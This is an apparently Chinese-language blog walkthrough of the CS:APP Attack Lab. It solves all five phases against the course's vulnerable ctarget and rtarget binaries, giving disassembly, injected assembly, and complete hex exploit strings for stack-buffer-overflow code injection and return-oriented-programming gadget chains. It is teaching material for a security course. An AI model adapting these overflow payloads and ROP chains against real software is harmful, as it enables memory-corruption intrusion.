赞
踩
Attack Lab下载地址:http://csapp.cs.cmu.edu/3e/target1.tar
帮助文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf
上一篇Bomb Lab
这篇文章其实是写了很久了, 上面链接资源可能不存在了,备份:https://gitee.com/beneil/csapplabc
Code Injection(CI)
利用缓冲区溢出来注入攻击代码.通常,给程序输入字符串,其包含可执行代码的字节编码,一些攻击代码可能会覆盖栈中的返回地址,那么,执行
ret
指令的效果就是转跳到攻击代码.Return-Oriented Programming(ROP)
当栈随机化或者限制可执行代码区域时,就可以使用该方法执行攻击代码(因为返回地址不可知),也就是利用程序本身的代码攻击程序,带有
ret
指令段的称谓gadget.(例子可以查看帮助文档ROP部分)
call
指令将返回地址压入堆栈,再把被调用过程的地址复制到指令指针寄存器(rip).当过程准备返回时,它的ret
指令从堆栈把返回地址弹回到指令指针寄存器,rsp数值增加.
解压target1.tar
得到rtarget
,ctarget
,cookie.txt
,farm.c
,hex2raw
查看帮助文档,例如Phase1要使用CI方法注入touch1函数
gdb相关操作可以看Bomb Lab
查看帮助文档,ctarget执行test函数,在getbuf函数执行完后,希望执行touch1函数
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
ctarget反汇编,objdump -d ctarget > ctarget.txt
,分析getbuf
第一行,%rsp-0x28,说明缓冲区大小为40;touch1
函数地址为0x4017c0
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
先看一个简单的假设:缓冲区大小为4,输入1234,如果紧接着输入指定返回地址就能覆盖掉原先的返回地址,利用缓冲区溢出从而实现代码注入.
同理,当getbuf
返回后,会从缓冲区后面获取返回地址,所以答案就是40个0+touch1地址,答案如下:
./hex2raw < phase1.txt | ./ctarget -q
phas1.txt
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00
小端模式,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中
同样这关要求执行touch2函数,而且要求传入cookie参数
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
touch2汇编代码
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
所以,当getbuf
返回的时候,跳到某个地址,然后把参数设置为cookie,最后再执行touch2
这个某个地址可以是缓冲区开始,也是就是getbuf
函数sub $0x28,%rsp
,gdb调试得出rsp-0x28=0x5561dc78
设置参数并执行touch2的代码为
movq $0x59b997fa,%rdi ;cookie.txt
pushq $0x4017ec ;touch2地址
ret ;保存为phase2.s
gcc -c phase2.s -o phase2.o
objdump -d phase2.o > phase2as.txt
;得到汇编代码
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
所以答案
./hex2raw < phase2.txt | ./ctarget -q
phase2.txt
48 c7 c7 fa //可执行代码
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //返回地址
同理,执行touch3,参数是cookie,字符串形式(转换成ASCII码)(phase2可以传值,phase3要传地址)
void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); } /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
反汇编得到touch3地址0x4018fa
movq $0x5561dca8,%rdi ;cookie的ASCII码存放地址,完成第一个参数传参
pushq $0x4018fa ;touch3地址
ret
因为hexmatch
会覆盖getbuf
的缓冲区,所以把cookie字符串放在了返回地址后面(上一个栈帧,调用者栈帧)
所以答案
./hex2raw < phase3.txt | ./ctarget -q
phase3.txt
48 c7 c7 a8 //可执行代码
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //返回地址
00 00 00 00
35 39 62 39 //cookie
39 37 66 61
00 00 00 00
采用了栈随机化和限制可执行代码区域,不能进行注入,所以采用ROP攻击,缓冲区溢出,替换掉返回地址,跳入某段gadget
,执行pop
,mov
等操作,然后ret
;返回后再跳入另外一个gadget
,来达到想要的操作.
要求用ROP方法,执行touch2函数,而且要求传入cookie参数
所以我们的思路应该是利用缓冲区溢出,替换成某些gadget
返回地址,达成pop %rdi ret
(把cookie放到栈上),最后再到touch2
,效果类似于下图:
反汇编rtarget
,(farm.c
包含在内),查看帮助文档,发现popq %rdi
等于5f,ret
等于c3.所以rtarget.txt
查找5f c3
所以gadget
的返回地址为401419+2=40141b
所以答案
./hex2raw < phase4.txt | ./rtarget -q
phase4.txt
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
1b 14 40 00 //gadget
00 00 00 00
fa 97 b9 59 //cookie,popq是8字节
00 00 00 00
ec 17 40 00 //touch2
同理ROP方法,执行touch3,参数是cookie,字符串形式
参考phase3,gadget
要做的事就是:找空间存放cookie(基于rsp的一个确定地址),其次,把cookie的地址放入rdi,变成汇编表示就是
movq %rsp,%rax ;保存rsp
ret
add xxx,%rax ;基于rsp确定cookie存放地址,会找到add 0x37,%al
ret
movq %rax,%rdi ;第一个参数传参
ret
所以要找到类似于上面3个gadget
,查看帮助文档,查找rtarget.txt
.
第一个gadget
找48 89 e0
+c3
,计算得出地址401a03+3=401a06
第二个,通过https://defuse.ca/online-x86-assembler.htm#disassembly2,找到add的指令编码,刚好找04
+c3
,找到地址4019d6+2=4019d8
,
表现为add 0x37,%al
指令 | 指令编码 |
---|---|
add al,0x1 | 04 01 |
add ax,0x1 | 66 83 c0 01 |
add eax,0x1 | 83 c0 01 |
第三个,找48 89 c7
+c3
,计算得出地址4019a0+2=4019a2
所以答案,
./hex2raw < phase5.txt | ./rtarget -q
phase5.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1a 40 00 //1.gadget, 00 00 00 00 d8 19 40 00 //2.gadget,第13行开头往后数55个0是cookie位置 00 00 00 00 a2 19 40 00 //3 00 00 00 00 fa 18 40 00 //touch3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 //cookie,0x37=55, 39 62 39 39 37 66 61 00
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。